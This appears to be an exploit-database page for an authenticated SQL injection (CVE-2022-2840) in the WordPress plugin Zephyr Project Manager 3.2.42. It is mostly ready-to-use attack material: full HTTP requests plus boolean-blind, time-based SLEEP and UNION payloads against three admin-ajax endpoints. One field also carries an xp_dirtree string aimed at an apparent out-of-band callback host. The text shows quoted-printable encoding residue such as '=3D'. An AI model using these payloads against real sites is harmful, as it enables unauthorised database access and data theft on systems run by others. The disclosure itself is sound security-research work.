Wordpress plugin zephyr project manager 3.2.42 multiple sqli Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2022-10-06 | Type : webapps | Platform : php
This exploit / vulnerability Wordpress plugin zephyr project manager 3.2.42 multiple sqli is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

# Exploit Title: Wordpress Plugin Zephyr Project Manager 3.2.42 - Multiple SQLi
# Date: 14-08-2022
# Exploit Author: Rizacan Tufan
# Blog Post: https://rizax.blog/blog/wordpress-plugin-zephyr-project-manager-multiple-sqli-authenticated
# Software Link: https://wordpress.org/plugins/zephyr-project-manager/
# Vendor Homepage: https://zephyr-one.com/
# Version: 3.2.42
# Tested on: Windows, Linux
# CVE : CVE-2022-2840 (https://wpscan.com/vulnerability/13d8be88-c3b7-4d6e-9792-c98b801ba53c)

# Description

Zephyr Project Manager is a plug-in that helps you manage and get things done effectively, all your projects and tasks.

It has been determined that the data coming from the input field in most places throughout the application are used in=20
the query without any sanitize and validation.

The details of the discovery are given below.

# Proof of Concept (PoC)=20

The details of the various SQL Injection on the application are given below.

## Endpoint of Get Project Data.

Sample Request :=20

POST /wp-admin/admin-ajax.php HTTP/2
Host: vuln.local
Cookie: ...
...
Referer: https://vuln.local/wp-admin/admin.php?page=3Dzephyr_project_manager_projects
Content-Type: application/x-www-form-urlencoded; charset=3DUTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 74
Origin: https://vuln.local
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

action=3Dzpm_view_project&project_id=3D1&zpm_nonce=3D22858bf3a7

Payload :=20

---
Parameter: project_id (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: action=3Dzpm_view_project&project_id=3D1 AND 4923=3D4923&zpm_nonce=3D22858bf3a7

Type: time-based blind
Title: MySQL >=3D 5.0.12 OR time-based blind (query SLEEP)
Payload: action=3Dzpm_view_project&project_id=3D1 OR (SELECT 7464 FROM (SELECT(SLEEP(20)))EtZW)&zpm_nonce=3D22858bf3a7

Type: UNION query
Title: Generic UNION query (NULL) - 20 columns
Payload: action=3Dzpm_view_project&project_id=3D-4909 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x71707a7071,0x6264514e6e4944795a6f6e4a786a6e4d4f666255434d6a5553526e43616e52576c75774743434f67,0x71786b6a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -&zpm_nonce=3D22858bf3a7
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## Endpoint of Get Task Data.

Sample Request :=20

POST /wp-admin/admin-ajax.php HTTP/2
Host: vuln.local
Cookie: ...
...
Referer: https://vuln.local/wp-admin/admin.php?page=3Dzephyr_project_manager_tasks
Content-Type: application/x-www-form-urlencoded; charset=3DUTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 51
Origin: https://vuln.local
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

task_id=3D1&action=3Dzpm_view_task&zpm_nonce=3D22858bf3a7

Payload :=20

---
Parameter: task_id (POST)
Type: time-based blind
Title: MySQL >=3D 5.0.12 AND time-based blind (query SLEEP)
Payload: task_id=3D1 AND (SELECT 5365 FROM (SELECT(SLEEP(20)))AdIX)&action=3Dzpm_view_task&zpm_nonce=3D22858bf3a7
---

## Endpoint of New Task.

Sample Request :=20

POST /wp-admin/admin-ajax.php HTTP/2
Host: vuln.local
Cookie: ...
...
Referer: https://vuln.local/wp-admin/admin.php?page=3Dzephyr_project_manager_tasks
Content-Type: application/x-www-form-urlencoded; charset=3DUTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 337
Origin: https://vuln.local
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

task_name=3Dtest&task_description=3Dtest&task_project=3D1&task_due_date=3D&task_start_date=3D&team=3D0&priority=3Dpriority_none&status=3Dtest&type=3Ddefault&recurrence%5Btype%5D=3Ddefault&parent-id=3D-1&action=3Dzpm_new_task&zpm_nonce=3D22858bf3a7

Payload :=20

---
Parameter: task_project (POST)
Type: time-based blind
Title: MySQL >=3D 5.0.12 AND time-based blind (query SLEEP)
Payload: task_name=3Dtest&task_description=3Dtest&task_project=3D1 AND (SELECT 3078 FROM (SELECT(SLEEP(20)))VQSp)&task_due_date=3D&task_start_date=3D&team=3D0&priority=3Dpriority_none&status=3Drrrr-declare-q-varchar-99-set-q-727aho78zk9gcoyi8asqud6osfy9m0io9hx9kz8o-oasti-fy-com-tny-exec-master-dbo-xp-dirtree-q&type=3Ddefault&recurrence[type]=3Ddefault&parent-id=3D-1&action=3Dzpm_new_task&zpm_nonce=3D22858bf3a7
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